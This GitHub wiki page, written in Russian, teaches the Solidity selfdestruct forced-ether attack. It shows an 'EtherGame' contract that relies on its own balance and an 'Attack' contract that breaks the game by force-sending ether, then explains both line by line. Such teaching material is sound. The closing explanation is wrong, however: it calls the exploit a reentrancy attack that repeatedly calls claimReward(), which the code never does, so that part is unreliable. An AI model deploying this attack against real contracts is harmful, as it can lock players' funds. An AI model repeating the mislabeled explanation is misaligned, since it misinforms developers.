self destruct - demonoved/A-trial-run-in-solidity GitHub Wiki
// SPDX-License-Identifier: MIT
// compiler version must be greater than or equal to 0.8.20 and less than 0.9.0
pragma solidity ^0.8.23;
// контракты можно удалить из блокчейна
// selfdestruct отправляет весь оставшийся эфир, хранящийся в контракте, в обозначенный адресс
// сделаем игру. цель игры - стать 7-м игроком внесшим депозит в размере 1эфира
// можно внести только 1 эфир за раз
//победитель выводит весь эфир
/*
1. разворачиваем EtherGame
2. два игрока соглашаются играть и вносят по 1 эфиру
3. разворачиваем атаку с адресом EtherGame
4. вызываем attack отправив 5 эфира, тем самым ломаем игру
Атака приводит к тому что баланс EtherGame сравнялся с 7 эфиром
соответственно никто не может внести депозит, и победитель не может быть определен
*/
contract EtherGame{
uint public targetAmount = 7 ether;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame){
etherGame = EtherGame(_etherGame);
}
function attack() public payable {
//ломаем игру, отправив эфир так что бы баланс игры был >= 7 эфира
// указать адрес к оплате
address payable addr = payable (address(etherGame));
selfdestruct(addr);
}
}
// SPDX-License-Identifier: MIT
// compiler version must be greater than or equal to 0.8.20 and less than 0.9.0
pragma solidity ^0.8.23;
Эти строки являются комментариями, указывающими лицензию и версию компилятора Solidity, которую следует использовать для этого контракта.
contract EtherGame {
uint public targetAmount = 7 ether;
address public winner;
Этот фрагмент кода определяет контракт EtherGame
. Он содержит две переменные: targetAmount
, которая определяет целевую сумму в размере 7 эфиров, и winner
, которая будет хранить адрес победителя игры.
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
Эта функция deposit()
позволяет игрокам вносить депозит в размере 1 эфира. Она проверяет, что отправленная сумма равна 1 эфиру, и что текущий баланс контракта не превышает целевую сумму. Если текущий баланс достигает целевой суммы, адрес отправителя становится победителем.
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
Эта функция claimReward()
позволяет победителю игры получить все эфиры, хранящиеся в контракте. Она проверяет, что вызывающий адрес является победителем, а затем отправляет все доступные эфиры на адрес победителя.
contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
}
function attack() public payable {
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}
Этот фрагмент кода определяет контракт Attack
, который может использоваться для атаки на контракт EtherGame
. Конструктор контракта Attack
принимает экземпляр контракта EtherGame
в качестве аргумента. Функция attack()
вызывает функцию selfdestruct
, которая удаляет контракт Attack
и отправляет все эфиры на адрес контракта EtherGame
, тем самым ломая игру.
Этот код является примером уязвимости в смарт-контрактах, известной как "Reentrancy Attack" (атака на повторные вызовы). В данном случае, атакующий контракт Attack
может вызывать функцию claimReward()
контракта EtherGame
повторно до тех пор, пока баланс контракта EtherGame
не достигнет целевой суммы. Это приводит к тому, что победитель не может быть определен, и игра становится нерабочей.
Такие типы контрактов могут использоваться для различных целей, включая игры на блокчейне, финансовые приложения и децентрализованные организации. Однако, важно учитывать безопасность при разработке смарт-контрактов и устранять уязвимости, чтобы избежать возможных атак.